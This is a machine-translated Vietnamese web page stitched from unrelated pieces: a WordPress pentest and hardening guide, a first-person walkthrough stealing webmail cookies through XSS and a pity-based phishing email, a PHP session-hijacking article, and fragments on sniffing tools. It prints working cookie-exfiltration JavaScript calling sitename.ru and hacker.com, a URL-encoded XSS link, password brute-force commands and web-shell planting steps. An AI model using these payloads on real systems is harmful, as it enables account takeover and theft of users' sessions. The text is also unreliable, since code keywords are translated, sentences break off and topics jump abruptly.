Một cách dễ dàng để ăn cắp cookie. Lập trình an toàn trong PHP. Trộm phiên Ăn cắp php sắp tới

WordPress là một nền tảng blog thuận tiện để xuất bản và quản lý các bài viết, trên đó có rất nhiều trang web khác nhau. Do sự phổ biến của nó, CMS này từ lâu đã trở thành miếng mồi ngon cho những kẻ tấn công. Thật không may, các cài đặt cơ bản không cung cấp đủ mức độ bảo vệ, khiến nhiều lỗ hổng mặc định bị lộ. Trong bài viết này, chúng ta sẽ đi qua con đường điển hình của một vụ hack “điển hình” đối với một trang web WordPress và cũng chỉ ra cách loại bỏ các lỗ hổng đã được xác định.

Giới thiệu

Ngày nay, WordPress là hệ thống quản lý nội dung phổ biến nhất. Thị phần của nó là 60,4% trong tổng số trang web sử dụng công cụ CMS. Trong số này, theo thống kê, 67,3% trang web dựa trên phiên bản mới nhất của phần mềm này. Trong khi đó, trong 12 năm tồn tại của công cụ web này, 242 loại lỗ hổng khác nhau đã được phát hiện trong đó (không bao gồm các lỗ hổng được tìm thấy trong các plugin và chủ đề của bên thứ ba). Và số liệu thống kê về các tiện ích bổ sung của bên thứ ba thậm chí còn đáng buồn hơn. Do đó, công ty Revisium đã phân tích 2.350 mẫu WordPress được Nga hóa lấy từ nhiều nguồn khác nhau. Kết quả là, họ phát hiện ra rằng hơn một nửa (54%) đã bị nhiễm web shell, backdoor, liên kết blackhat SEO (“spam”) và cũng chứa các tập lệnh có lỗ hổng nghiêm trọng. Vì vậy, hãy thoải mái, bây giờ chúng ta sẽ tìm ra cách kiểm tra một trang web WordPress và loại bỏ những thiếu sót được tìm thấy. Chúng tôi sẽ sử dụng phiên bản 4.1 (Nga hóa).

Lập chỉ mục trang web

Bước đầu tiên trong bất kỳ thử nghiệm nào thường là thu thập thông tin về mục tiêu. Và ở đây, việc lập chỉ mục trang web được định cấu hình không chính xác thường hữu ích, cho phép người dùng trái phép xem nội dung của các phần riêng lẻ của trang web và, chẳng hạn, lấy thông tin về các plugin và chủ đề đã cài đặt, cũng như quyền truy cập vào dữ liệu bí mật hoặc bản sao lưu cơ sở dữ liệu. Để kiểm tra những thư mục nào hiển thị từ bên ngoài, cách dễ nhất là sử dụng Google. Chỉ cần chạy truy vấn Google Dork như site:example.com intitle:"index of" inurl:/wp-content/ . Các thư mục sau có thể được chỉ định trong câu lệnh inurl::

/wp-content/ /wp-content/ngôn ngữ/plugin /wp-content/ngôn ngữ/themes /wp-content/plugins/ /wp-content/themes/ /wp-content/uploads/

Nếu bạn có thể xem /wp-content/plugins/ , bước tiếp theo trong việc thu thập thông tin về các plugin đã cài đặt và phiên bản của chúng sẽ dễ dàng hơn nhiều. Đương nhiên, bạn có thể tắt tính năng lập chỉ mục bằng tệp robots.txt. Vì theo mặc định, nó không có trong gói cài đặt WordPress nên bạn cần phải tự tạo và đặt nó vào thư mục gốc của trang web. Có khá nhiều hướng dẫn tạo và làm việc với file robots.txt nên mình sẽ để chủ đề này cho các bạn tự chuẩn bị. Tôi sẽ chỉ đưa ra một trong những lựa chọn có thể:

Tác nhân người dùng: * Không cho phép: /cgi-bin Không cho phép: /wp-login.php Không cho phép: /wp-admin/ Không cho phép: /wp-includes/ Không cho phép: /wp-content/ Không cho phép: /wp-content/plugins/ Không cho phép : /wp-content/themes/ Không cho phép: /?author=* Cho phép: /

Nếu các tệp được lưu trong thư mục tải lên chứa thông tin bí mật, hãy thêm dòng vào danh sách này: Disallow: /wp-content/uploads/.
Mặt khác, không nên đặt liên kết đến các thư mục trong tệp robots.txt được tạo riêng để lưu trữ thông tin nhạy cảm. Nếu không, bằng cách này, bạn sẽ khiến nhiệm vụ của kẻ tấn công trở nên dễ dàng hơn, vì đây là nơi đầu tiên mà mọi người thường tìm kiếm thứ gì đó “thú vị”.

Xác định phiên bản WordPress

Một bước quan trọng khác là xác định phiên bản CMS. Nếu không thì làm thế nào để chọn cách khai thác phù hợp? Có ba cách nhanh chóng để xác định phiên bản WordPress nào đang được sử dụng trên một trang web:

Tìm trong mã nguồn trang. Nó được chỉ định trong thẻ meta trình tạo:

hoặc trong thẻ:

Tìm nó trong tệp readme.html (Hình 1), được bao gồm trong gói cài đặt và nằm ở thư mục gốc của trang web. Tệp có thể có tên khác như readme-ja.html.

Tìm trong tệp ru_RU.po (Hình 2), được bao gồm trong gói cài đặt và nằm ở /wp-content/lingu/: "Project-Id-Version: WordPress 4.1.1\n"

Một trong những tùy chọn bảo vệ trong trường hợp này là hạn chế quyền truy cập vào các tệp readme.html và ru_RU.po bằng .htaccess.

Tự động hóa quá trình thử nghiệm

Nghiên cứu bảo mật WordPress chưa được bắt đầu ngày hôm qua, vì vậy có đủ số lượng công cụ cho phép bạn tự động hóa các tác vụ thông thường.

phát hiện phiên bản và chủ đề bằng tập lệnh http-wordpress-info nmap -sV --script http-wordpress-info
đoán mật khẩu bằng từ điển nmap -p80 --script http-wordpress-brute --script-args "userdb=users.txt,passdb=passwords.txt" example.com

mô-đun để xác định phiên bản: phụ trợ/máy quét/http/wordpress_scanner;
mô-đun để xác định tên người dùng phụ trợ/máy quét/http/wordpress_login_enum.

liệt kê các plugin đã cài đặt: wpscan --url www.exmple.com --enumerate p ;
liệt kê các chủ đề đã cài đặt: wpscan --url www.exmple.com --enumerate t ;
liệt kê các khoảng thời gian đã cài đặt: wpscan --url www.example.com --enumerate tt ;
xác định tên người dùng: wpscan --url www.example.com --enumerate u ;
chọn mật khẩu bằng từ điển cho người dùng quản trị viên: wpscan --url www.example.com --wordlist wordlist.txt --username admin ;
đoán mật khẩu bằng cách sử dụng kết hợp tên người dùng/mật khẩu với số lượng chủ đề bằng 50: wpscan --url www.example.com --wordlist wordlist.txt --threads 50 .

Xác định các thành phần được cài đặt

Bây giờ hãy thu thập thông tin về các plugin và chủ đề đã cài đặt, cho dù chúng có được kích hoạt hay không. Trước hết, thông tin đó có thể được trích xuất từ mã nguồn của trang HTML, chẳng hạn như từ các liên kết JavaScript, từ các nhận xét và tài nguyên loại CSS được tải lên trang. Đây là cách dễ nhất để có được thông tin về các thành phần được cài đặt. Ví dụ: các dòng bên dưới cho biết chủ đề thứ 21 đang được sử dụng:

Vì thông tin về plugin không phải lúc nào cũng được hiển thị trong mã nguồn của trang HTML nên bạn có thể phát hiện các thành phần đã cài đặt bằng tiện ích WPScan (xem thanh bên). Đừng quên rằng việc tìm kiếm thông qua đường dẫn plugin sẽ được ghi lại trong nhật ký máy chủ web.
Sau khi nhận được dữ liệu về các thành phần đã cài đặt, bạn có thể bắt đầu tự mình tìm kiếm các lỗ hổng hoặc tìm các cách khai thác có sẵn công khai trên các tài nguyên như rapid7 hoặc mining-db.

Xác định tên người dùng

Theo mặc định, WordPress gán cho mỗi người dùng một ID duy nhất, được biểu thị dưới dạng số: example.com/?author=1 . Bằng cách sắp xếp các con số, bạn sẽ xác định được tên của người dùng trang web. Tài khoản quản trị viên được tạo trong quá trình cài đặt WordPress là số 1, vì vậy nên xóa nó như một biện pháp bảo vệ.

Đăng nhập wp bạo lực

Biết được tên người dùng, bạn có thể thử đoán mật khẩu của bảng quản trị. Biểu mẫu đăng nhập WordPress trên trang wp-login.php rất nhiều thông tin (Hình 3), đặc biệt đối với kẻ tấn công: nếu bạn nhập dữ liệu không chính xác, lời nhắc sẽ xuất hiện về tên người dùng hoặc mật khẩu sai cho một người dùng cụ thể. Các nhà phát triển biết đến tính năng này nhưng đã quyết định bỏ nó đi vì những thông báo như vậy rất thuận tiện cho những người dùng có thể đã quên thông tin đăng nhập và/hoặc mật khẩu của họ. Vấn đề đoán mật khẩu có thể được giải quyết bằng cách sử dụng mật khẩu mạnh bao gồm mười hai ký tự trở lên và bao gồm chữ hoa và chữ thường, số và ký tự đặc biệt. Hoặc, ví dụ: sử dụng plugin Đăng nhập LockDown.

điền vào vỏ

Sau khi chúng tôi đặt lại mật khẩu, không có gì ngăn cản chúng tôi tải shell lên tài nguyên web bị xâm phạm. Đối với những mục đích này, khung Weevely khá phù hợp, cho phép bạn tạo shell ở dạng khó hiểu, điều này khiến việc phát hiện nó khá khó khăn. Để tránh gây nghi ngờ, mã kết quả có thể được chèn vào bất kỳ tệp chủ đề nào (ví dụ: index.php) thông qua trình chỉnh sửa chủ đề của bảng điều khiển WordPress. Sau đó, bằng cách sử dụng cùng Weevely, bạn có thể kết nối với máy của nạn nhân và gọi các lệnh khác nhau:

Python weevely.py http://test/index.php Pa$$w0rd [+] weevely 3.1.0 [+] Target:test [+] Session: _weevely/sessions/test/index_0.session [+] Duyệt hệ thống tập tin hoặc thực thi các lệnh bắt đầu kết nối [+] với mục tiêu. Loại:trợ giúp để biết thêm thông tin. Weely>:trợ giúp

Kết nối.htaccess

Để từ chối quyền truy cập vào thông tin nhạy cảm, tốt hơn hết bạn nên sử dụng tệp .htaccess - đây là tệp cấu hình được sử dụng trong Máy chủ Web Apache. Hãy xem xét khả năng của tệp này từ quan điểm bảo mật. Với sự trợ giúp của nó, bạn có thể: từ chối quyền truy cập vào các thư mục và tệp, chặn các hoạt động tiêm SQL và tập lệnh độc hại khác nhau. Để thực hiện việc này, tệp .htaccess tiêu chuẩn cho CMS WordPress 4.1 cần được mở rộng một chút. Để đóng danh sách các tập tin và thư mục, hãy thêm:

Tùy chọn +Theo dõiSymLinks -Chỉ mục

RewriteCond %(QUERY_STRING) base64_encode[^(]*$[^)]*$ sẽ chặn các liên kết chứa mã hóa Base64. Loại bỏ các liên kết có chứa thẻ:

Viết lạiCond %(QUERY_STRING) (|%3E)

Các tập lệnh truy cập đang cố gắng đặt biến toàn cục hoặc thay đổi biến _REQUEST qua URL:

RewriteCond %(QUERY_STRING) GLOBALS (=|\[|\%(0,2)) RewriteCond %(QUERY_STRING) _REQUEST (=|\[|\%(0,2))

Để chống lại việc tiêm SQL, chúng tôi chặn các yêu cầu tới các URL chứa một số từ khóa nhất định:

RewriteCond %(query_string) concat.*\( RewriteCond %(query_string) union.*select.*\( RewriteCond %(query_string) union.*all.*select RewriteRule ^(.*)$ index.php

Để hủy hoại tuổi thọ của các công cụ hacker phổ biến, chúng tôi lọc ra một số tác nhân người dùng nhất định:

SetEnvIf tác nhân người dùng "Indy Library" Stayout=1 SetEnvIf tác nhân người dùng "libwww-perl" Stayout=1 SetEnvIf tác nhân người dùng "Wget" Stayout=1 từ chối env=stayout

Bảo vệ tập tin

Bạn cũng nên hạn chế quyền truy cập vào các tệp đặc biệt quan trọng lưu trữ cấu hình hoặc đơn giản là có thể cung cấp một số thông tin cho kẻ tấn công. Các ứng cử viên sau đây có thể được phân biệt:

wp-config.php , chứa tên cơ sở dữ liệu, tên người dùng, mật khẩu và tiền tố bảng;
.htaccess ;
readme.html và ru_RU.po, chứa phiên bản WordPress;
cài đặt.php .

Điều này được thực hiện như sau:

Đặt hàng Cho phép, Từ chối Từ chối tất cả

Hơn nữa, tệp .htaccess chứa các dòng này phải nằm trong cùng thư mục với tệp được bảo vệ. Sau đó, chúng tôi cấm liệt kê người dùng (hãy nhớ, ngay ở trên chúng tôi đã nói về việc có được danh sách người dùng dễ dàng như thế nào?):

RewriteCond %(QUERY_STRING) tác giả=\d RewriteRule ^ /?

Vậy còn gì nữa? Bạn chỉ có thể cho phép đăng nhập từ các địa chỉ IP được chỉ định. Để thực hiện việc này, hãy tạo tệp .htaccess trong thư mục wp-admin với các quy tắc sau:

AuthUserFile /dev/null AuthGroupFile /dev/null AuthName "Kiểm soát truy cập" AuthType Basic order từ chối,cho phép từ chối tất cả cho phép từ 178.178.178.178 # IP máy tính ở nhà cho phép từ 248.248.248.248 # IP máy tính làm việc

Phương pháp này không linh hoạt lắm và chỉ có thể áp dụng nếu bạn làm việc với một số địa chỉ IP cố định có giới hạn. Mặt khác, bạn nên đặt mật khẩu cho thư mục wp-admin thông qua bảng điều khiển lưu trữ (nếu có chức năng đó).

Các biện pháp bổ sung

Với những gì đã nói ở trên, các khuyến nghị sau đây có thể được thêm vào. Đầu tiên, chỉ sử dụng các phiên bản hiện tại của WordPress và các thành phần của nó - điều này sẽ loại bỏ các lỗ hổng đã biết. Thứ hai, loại bỏ các plugin và chủ đề không sử dụng cũng có thể bị khai thác. Thứ ba, tải xuống các chủ đề và plugin WordPress từ các nguồn đáng tin cậy, chẳng hạn như trang web của nhà phát triển và trang web chính thức của WordPress. Cũng giống như PC ở nhà, bạn cần kiểm tra định kỳ tài nguyên web của mình bằng phần mềm chống vi-rút web, chẳng hạn như AI-Bolit. Nếu bạn có quyền truy cập vào máy chủ web, hãy định cấu hình quyền truy cập vào các tệp và thư mục. Theo quy định, WordPress đặt tất cả các quyền cần thiết ở giai đoạn cài đặt, nhưng nếu cần, chmod có thể được đặt theo cách thủ công. Đối với thư mục - chmod 755, đối với tệp - chmod 644. Đảm bảo rằng quyền 777 chỉ được gán cho những đối tượng cần nó (đôi khi điều này là cần thiết để một số plugin hoạt động bình thường). Nếu WordPress ngừng hoạt động bình thường, hãy thử nghiệm quyền truy cập: đầu tiên hãy thử 755, sau đó là 766 và cuối cùng là 777. Đối với tất cả các tệp htaccess, hãy đặt chmod 444 (chỉ đọc). Nếu trang web ngừng hoạt động, hãy thử thử nghiệm với các giá trị 400, 440, 444, 600, 640, 644.

Di chuyển tệp wp-config.php. Tệp này chứa thông tin về cài đặt MySQL, tiền tố bảng, khóa bí mật, v.v. Do đó, nó phải được chuyển để không thể truy cập được tệp từ Internet. Nếu trang web không nằm trong thư mục public_html thì hãy di chuyển tệp wp-config.php lên thư mục cao hơn và WordPress sẽ tự động tìm nó trong thư mục gốc này (áp dụng nếu hosting chỉ có một trang web trên CMS này).

Để làm cho việc lấp đầy shell trở nên khó khăn hơn, hãy tắt khả năng chỉnh sửa chủ đề thông qua bảng điều khiển WordPress. Để thực hiện việc này, hãy chèn dòng sau vào tệp wp-config.php: định nghĩa("DISALLOW_FILE_EDIT", true); .

Một điểm yếu khác là tệp install.php (nằm trong thư mục wp-admin). Vì vậy, tốt hơn hết bạn nên xóa, chặn hoặc thay đổi nó. Thực hiện một trong các tùy chọn:

Chỉ cần xóa tập tin này - sau khi cài đặt nó không còn cần thiết nữa.

Từ chối quyền truy cập vào tệp bằng .htaccess.

Đổi tên tệp install.php ban đầu (ví dụ: install.php.old) và tạo tệp install.php mới với nội dung sau: Lỗi thiết lập kết nối cơ sở dữ liệu

Chúng tôi hiện đang gặp sự cố về cơ sở dữ liệu. Vui lòng quay lại sau. Cảm ơn.

Ngoài việc thông báo cho khách truy cập trang web, tập lệnh này còn thực hiện các hành động sau:

gửi mã trạng thái 503 (“Dịch vụ tạm thời không khả dụng”) tới khách hàng và công cụ tìm kiếm;
cho biết khoảng thời gian mà sau đó khách hàng và công cụ tìm kiếm có thể quay lại trang web (tham số có thể tùy chỉnh);
thông báo cho bạn qua email về sự cố với cơ sở dữ liệu để có thể thực hiện hành động thích hợp.

Thực tế là trong các phiên bản trước của WordPress (

Ngoài ra, thay vì “cảnh báo”, chúng tôi cần một tập lệnh sẽ chuyển cookie đến trình thám thính của chúng tôi. Chúng tôi sẽ viết tập lệnh này vào một tệp riêng và tải nó vào tìm kiếm của chúng tôi. Tôi đã tạo một tệp test.js với mã cần thiết và tải nó lên hosting. Mã kịch bản là như thế này:

Img=Hình ảnh mới();
img.src="http://sitename.ru/sniff.php?cookie="+document.cookie;
hàm F() (
vị trí="http://www.solife.ru";
}
setTimeout(F, 5000);

Điều tôi muốn làm rõ ở đây. Hãy đặt mình vào vị trí của kẻ tấn công. Chúng tôi cần người dùng nhấp vào liên kết. Làm sao tôi có thể buộc anh ấy làm điều này? Bạn có thể hứa hẹn hàng núi vàng và để nhận được chúng, bạn cần theo liên kết của chúng tôi đến trang web. Nhưng tôi không nghĩ nó sẽ hiệu quả. Mọi người không còn mắc phải điều này nữa (bản thân tôi liên tục xóa những bức thư như vậy mà không hề đọc chúng). Vì vậy, chúng ta sẽ lợi dụng lòng thương xót của con người, vì nó vẫn tồn tại trong tự nhiên. Chúng tôi yêu cầu bạn bỏ phiếu trên trang web để cứu các loài động vật có nguy cơ tuyệt chủng. Đầu tiên, chúng tôi sẽ lấy cookie và sau đó chúng tôi sẽ chuyển hướng người dùng đến trang bỏ phiếu. Thời gian chờ để chuyển hướng được đặt thành 5 giây, nếu không, cookie đơn giản là không có thời gian để chuyển sang trình đánh hơi và người dùng ngay lập tức được chuyển hướng đến một trang web về động vật. Thay vì “cảnh báo”, tôi đã sử dụng đoạn mã sau:

Khi viết xong kịch bản, tôi bắt đầu viết thư. Tôi đã nghĩ ra một cái gì đó như thế này:

Hóa ra điều đó khá hoài nghi, nhưng tôi đã cố gắng đưa các điều kiện đến gần với thực tế nhất có thể. Ở cuối bức thư có một dòng chữ viết, mục đích này để chúng ta tìm kiếm sẽ tìm thấy bức thư của chúng ta. Để dòng này không gây ra những câu hỏi không cần thiết, tôi đã sơn nó màu trắng. Tôi cũng đặt một khoảng trắng trong từ “http” để chuỗi này không bị nhận dạng và chuyển thành liên kết. Mặt khác, mặc dù thực tế là dòng script được viết bằng phông chữ màu trắng, nhưng liên kết sẽ được người nhận đánh dấu bằng màu xanh lam và chúng tôi không cần điều này. Tìm kiếm thông minh sẽ vẫn tìm và nhận ra chuỗi này, bất chấp khoảng trắng.

E.mail.ru/cgi-bin/gosearch?q_folder=0&q_query=%27%3E%3Cscript%20src%3D%27http%3A%2F%2Fsitename.ru%2Ftest.js%27%3E%3C%2Fscript%3E

Tôi đã sử dụng mã hóa URL cho tập lệnh để không có gì bị lọc ra. Tôi cũng đã thêm tham số “q_folder=0” cho tìm kiếm để tìm kiếm diễn ra trong thư mục “Hộp thư đến”.

Bức thư đã sẵn sàng, chúng tôi gửi nó. Tôi đã sử dụng hộp thư thứ hai của mình trên cùng dịch vụ với người nhận. Hãy xem điều gì đã xảy ra với chiếc hộp kia.

Văn bản tập lệnh của chúng tôi không hiển thị vì nó hòa vào nền. Hãy nhấp vào liên kết và xem điều gì sẽ xảy ra. Người dùng được chuyển đến kết quả tìm kiếm email dựa trên tham số chúng tôi đã chỉ định. Thư của chúng tôi mà chúng tôi đã gửi sẽ hiển thị trong kết quả tìm kiếm. Tại thời điểm này, tập lệnh của chúng tôi đã hoạt động và gửi cookie của người dùng đến trình thám thính. Sau 5 giây (thời gian tùy thuộc vào cài đặt tập lệnh), người dùng sẽ được chuyển hướng đến trang bỏ phiếu.

Tôi kiểm tra tệp sniff.txt của mình:

Vì mục tiêu của tôi không phải là trộm hộp của người khác hay giành quyền truy cập vào chúng nên tôi sẽ kết thúc câu chuyện ở đây. Nhưng về mặt lý thuyết, bạn có thể thay thế cookie của mình bằng cookie của người khác và có quyền truy cập vào hộp thư của người khác. Nói chung, nếu kẻ tấn công quan tâm đến mục tiêu, hắn sẽ tìm thấy cách sử dụng thông tin nhận được.

Tôi xin cảm ơn Sergei Belov (

Hình ảnh cho thấy cookie chứa dòng wordpress_logged_in_263d663a02379b7624b1028a58464038=admin. Giá trị này ở dạng không được mã hóa trong cookie và có thể dễ dàng bị chặn bằng tiện ích Achilles, nhưng trong hầu hết các trường hợp trong Achilles, bạn chỉ có thể thấy hàm băm của một mục nhập cụ thể. Trước khi gửi yêu cầu đến máy chủ, bạn có thể thử thay thế dòng này bằng bất kỳ dòng nào tương tự (mặc dù trong trường hợp này không có ý nghĩa gì) - số lần thử không bị giới hạn. Sau đó, bằng cách gửi yêu cầu này đến máy chủ bằng nút Gửi, bạn có thể nhận được phản hồi từ máy chủ dành cho quản trị viên.

Trong ví dụ trước, bạn có thể sử dụng tính năng giả mạo ID người dùng trực tiếp. Ngoài ra, tên của tham số mà sự thay thế giá trị của nó mang lại cơ hội bổ sung cho tin tặc, có thể như sau: người dùng (ví dụ: USER=JDOE), bất kỳ biểu thức nào có chuỗi ID (ví dụ: USER=JDOE hoặc SESSIONID= BLAHBLAH), quản trị viên (ví dụ: ADMIN= TRUE), phiên (ví dụ: SESSION=ACTIVE), giỏ hàng (ví dụ: CART=FULL), cũng như các biểu thức như TRUE, FALSE, ACTIVE, INACTIVE. Thông thường, định dạng của cookie phụ thuộc rất nhiều vào ứng dụng mà chúng được sử dụng. Tuy nhiên, những mẹo tìm lỗi ứng dụng bằng cookie này áp dụng cho hầu hết tất cả các định dạng.

Các biện pháp đối phó phía khách hàng chống lại việc trích xuất cookie

Nói chung, người dùng nên cảnh giác với những trang Web sử dụng cookie để xác thực và lưu trữ dữ liệu nhạy cảm. Cũng cần nhớ rằng trang web sử dụng cookie để xác thực phải hỗ trợ ít nhất giao thức SSL để mã hóa tên người dùng và mật khẩu, vì nếu không có giao thức này, dữ liệu sẽ được truyền đi mà không được mã hóa, điều này có thể chặn nó sử dụng các công cụ phần mềm đơn giản để xem dữ liệu được gửi qua mạng.

Kookaburra Software đã phát triển một công cụ hỗ trợ việc sử dụng cookie. Công cụ này có tên là CookiePal (http://www.kburra.com/cpal.html (xem www.kburra.com)). Chương trình này được thiết kế để cảnh báo người dùng khi một trang Web cố gắng cài đặt cookie trên máy và người dùng có thể cho phép hoặc từ chối hành động này. Chức năng chặn cookie tương tự hiện có sẵn trên tất cả các trình duyệt.

Một lý do khác để thường xuyên cài đặt các bản cập nhật trình duyệt Web là các lỗ hổng bảo mật trong các chương trình này liên tục được xác định. Vì vậy, Bennet Haselton và Jamie McCarthy đã tạo một tập lệnh mà sau khi nhấp vào liên kết sẽ lấy cookie từ máy của khách hàng. Kết quả là tất cả nội dung của cookie trên máy của người dùng đều có sẵn.

Kiểu hack này cũng có thể được thực hiện bằng cách sử dụng một mã điều khiển được nhúng trong văn bản HTML của trang Web (hoặc trong nội dung HTML của email hoặc bài đăng trên nhóm tin) để đánh cắp cookie. Hãy xem xét ví dụ sau:

Để đảm bảo rằng những điều đó không đe dọa đến dữ liệu cá nhân của chúng tôi, tôi tự mình thực hiện việc này và khuyên mọi người luôn cập nhật phần mềm hoạt động với mã HTML (ứng dụng khách e-mail, trình phát đa phương tiện, trình duyệt, v.v.).

Nhiều người chỉ thích chặn cookie, nhưng hầu hết các trang Web đều yêu cầu cookie để duyệt. Kết luận - nếu trong tương lai gần xuất hiện một công nghệ tiên tiến cho phép bạn làm việc mà không cần cookie, thì các lập trình viên và quản trị viên sẽ thở phào nhẹ nhõm, nhưng hiện tại cookie vẫn là một miếng mồi ngon cho tin tặc! Điều này đúng vì vẫn chưa có giải pháp thay thế tốt hơn.

Các biện pháp đối phó phía máy chủ

Trong trường hợp có khuyến nghị để đảm bảo an ninh máy chủ, các chuyên gia đưa ra một lời khuyên đơn giản: không sử dụng cơ chế cookie trừ khi thực sự cần thiết! Phải đặc biệt cẩn thận khi sử dụng cookie vẫn còn trên hệ thống của người dùng sau khi kết thúc phiên liên lạc.

Tất nhiên, điều quan trọng là phải hiểu rằng cookie có thể được sử dụng để cung cấp bảo mật cho máy chủ Web nhằm xác thực người dùng. Nếu ứng dụng của bạn cần sử dụng cookie, bạn nên định cấu hình cơ chế cookie để sử dụng các khóa có thời gian tồn tại ngắn khác nhau cho mỗi phiên và cố gắng không đưa thông tin vào các tệp này mà tin tặc có thể sử dụng để hack (chẳng hạn như ADMIN=TRUE) .

Ngoài ra, để giúp việc sử dụng cookie của bạn an toàn hơn, bạn có thể sử dụng mã hóa cookie để ngăn thông tin nhạy cảm bị trích xuất. Tất nhiên, mã hóa không giải quyết được mọi vấn đề bảo mật khi làm việc với công nghệ cookie, nhưng phương pháp này sẽ ngăn chặn những vụ hack cơ bản nhất được mô tả ở trên.

Người dùng được yêu cầu đăng nhập và mật khẩu.

Nếu ủy quyền thành công, một phiên mới sẽ được tạo với giá trị “ủy quyền thành công”.

Người dùng được chỉ định một mã định danh duy nhất (SID), mã này không thể dự đoán trước và do đó không thể chọn được :).

SID được ghi vào cookie của trình duyệt hoặc được truyền qua thanh địa chỉ của trình duyệt (nếu cookie bị tắt).

Do ủy quyền thành công, tập lệnh sẽ có thể truy cập được các giá trị của các biến từ mảng siêu toàn cầu $_SESSION, dựa trên sự hiện diện của tập lệnh này cung cấp quyền truy cập vào một số tài nguyên, chẳng hạn như quyền truy cập vào bảng quản trị trang web.

Vấn đề là nếu kẻ tấn công bằng cách nào đó tìm ra SID của người dùng khác, hắn có thể thay thế nó vào cookie hoặc thanh địa chỉ trình duyệt của mình và truy cập trang web với quyền của người dùng này.

Bình luận

Cách đây vài năm đã có một số vụ bê bối khi hệ thống quản lý tài khoản ngân hàng từ xa tạo ra một số duy nhất (SID) bằng cách thêm một số vào giá trị cuối cùng được sử dụng. Ủy quyền nhanh chóng dẫn đến việc phát hành hai giá trị SID, ví dụ 40346 và 40348. Việc thay thế số 40347 cho phép truy cập vào tài khoản của người khác :).

Hiện tại, SID đại diện cho một chuỗi số và chữ cái duy nhất không liên quan đến đồng hồ đo. Nhưng làm thế nào kẻ tấn công có thể tìm ra SID của người khác?

Có hai lựa chọn phổ biến nhất:

1. Ví dụ: chủ phiên bản đã tự mình đưa ra, bất cẩn để lại liên kết kiểu này ở đâu đó trên diễn đàn hoặc sổ khách.

http://forum.dklab.ru/?sid=

Việc truy cập địa chỉ này sẽ tự động cung cấp cho kẻ tấn công các quyền của người dùng được phân bổ phiên có mã định danh.
Tất nhiên, phiên người dùng sẽ bị hủy nếu không có hoạt động nào sau một thời gian. Và do đó kẻ tấn công nên nhanh lên :). Mặt khác, tổng mức độ phổ biến của nhện giúp tổ chức tìm kiếm tự động có mục tiêu cho các liên kết đó.

2. Ngay cả khi phiên không được chỉ định rõ ràng trong dòng trình duyệt nhưng được lưu trữ trong Cookies. Kẻ tấn công vẫn có cơ hội chiếm hữu mã định danh. Chúng ta hãy xem một đoạn script nhỏ cho một cuốn sổ khách đơn giản.

Chữ:

Nội dung của trình xử lý addmsg.php được trình bày bên dưới

Xin lưu ý rằng tập lệnh rõ ràng đã bỏ lỡ lệnh gọi hàm htmlspecialchars(), hàm này chuyển đổi các ký tự< в < и >kết quả là kẻ tấn công có thể chèn bất kỳ thẻ HTML và tập lệnh JavaScript nào vào văn bản.

window.open("http://hacker.com/get.php?"+document.cookie, "mới")

Vì vậy, chúng ta có được những gì? Một sơ suất nhỏ (có vẻ như họ vừa bỏ sót một số htmlspecialchars() trước khi hiển thị thông báo trong trình duyệt), cho phép tải trang của kẻ tấn công trong một cửa sổ mới, chuyển các giá trị từ cookie cho nó.
Để chống lại những lỗ hổng kiểu này, tốt nhất nên xử lý bằng các phương pháp “bền vững”, hành động theo nguyên tắc “mọi thứ không được phép đều bị cấm”. Bạn không nên ẩn SID và kiểm tra văn bản theo nhiều giai đoạn - khả năng tạo ra lỗi trong trường hợp này chỉ tăng lên. Đáng tin cậy hơn trong trường hợp này là phương pháp liên kết SID với địa chỉ IP của người dùng sở hữu phiên. Phương pháp này được sử dụng rộng rãi trên nhiều diễn đàn nổi tiếng, chẳng hạn như phpBB.
Tập lệnh ủy quyền

Sau đó, tập lệnh cung cấp quyền truy cập vào một tài nguyên cụ thể có thể chứa đoạn mã sau

Những thứ kia. Giờ đây, chỉ người dùng có địa chỉ IP khớp với địa chỉ IP được chuyển đến máy chủ trong quá trình ủy quyền mới có thể hoạt động với phiên này. Nếu kẻ tấn công chặn phiên, thì anh ta có một địa chỉ IP khác :) - do đó, anh ta sẽ bị từ chối truy cập.

Phương pháp này không phổ biến và nó cũng có điểm yếu.

Nếu người dùng và kẻ tấn công truy cập Internet thông qua một máy chủ proxy chung thì họ sẽ có một địa chỉ IP chung (điều này đặc trưng cho mạng của các trường đại học, nhà máy và các tổ chức lớn khác), tức là. Bất kỳ ai cũng có thể đánh cắp SID của hàng xóm, ít nhất là sử dụng các phương pháp trên.

Một người bạn của tôi quên mật khẩu của một trang web. Tuy nhiên, trước đó anh ấy đã chọn hộp kiểm “Ghi nhớ tôi” trong trình duyệt Google Chrome khi đăng nhập, điều này cho phép anh ấy truy cập trang web bằng tài khoản của mình. Tôi nhận được câu hỏi liệu có thể chuyển trạng thái kỳ diệu này sang máy tính khác hay không. Tất nhiên, thay đổi hoặc khôi phục mật khẩu sẽ đúng hơn, nhưng bạn tôi không thể làm điều này vì những lý do không liên quan đến vụ việc.

Cách sử dụng đánh chặn-ng cho người giả

Mặc dù có nhiều phần mềm hiện đại để lựa chọn nhưng rất khó tìm được chương trình hack nào tốt hơn cho Android hơn là chặn. Tiêu chí đầu tiên ủng hộ sản phẩm này chính là hiệu quả thực tế của nó. Hầu hết các công cụ đánh hơi được cung cấp trên mạng chỉ là hàng nhái không thực hiện các chức năng đã nêu của chúng.

Các yếu tố tích cực tiếp theo là tính linh hoạt của ứng dụng và độ phủ sóng của nhiều đối tượng người dùng.

Trợ giúp máy tính 939-29-71

Hãy bắt đầu theo thứ tự. Cookie hay "cookie" là những tệp văn bản rất nhỏ - dấu trang chứa thông tin.

Máy chủ web truyền thông tin này đến trình duyệt của người dùng. nơi thông tin này được lưu trữ cho đến khi được yêu cầu. Không rõ ràng lắm. Tốt. Khỏe.

Tôi sẽ cố gắng làm cho nó đơn giản hơn nữa. Nhìn. bạn đã đăng ký trên bất kỳ trang web nào.

Tại thời điểm đăng ký, những “cookie” tương tự sẽ được tạo.

Đó là những gì họ đang có.

Người làm bánh quy

Chương trình lắng nghe lưu lượng truy cập trên mạng WiFi, chặn cookie và sao chép phiên của người dùng trong trình duyệt của bạn, lặp lại các yêu cầu bằng thông tin xác thực của người đó. Tác giả Matthew Sullivan đã trình bày về chương trình vào ngày 30 tháng 9 tại hội nghị hacker Derbycon. Ngay trong bài phát biểu, Matthew Sullivan đã chặn phiên không bảo mật với Google của một trong những khách tham dự hội nghị qua WiFi.

Cách ăn cắp cookie

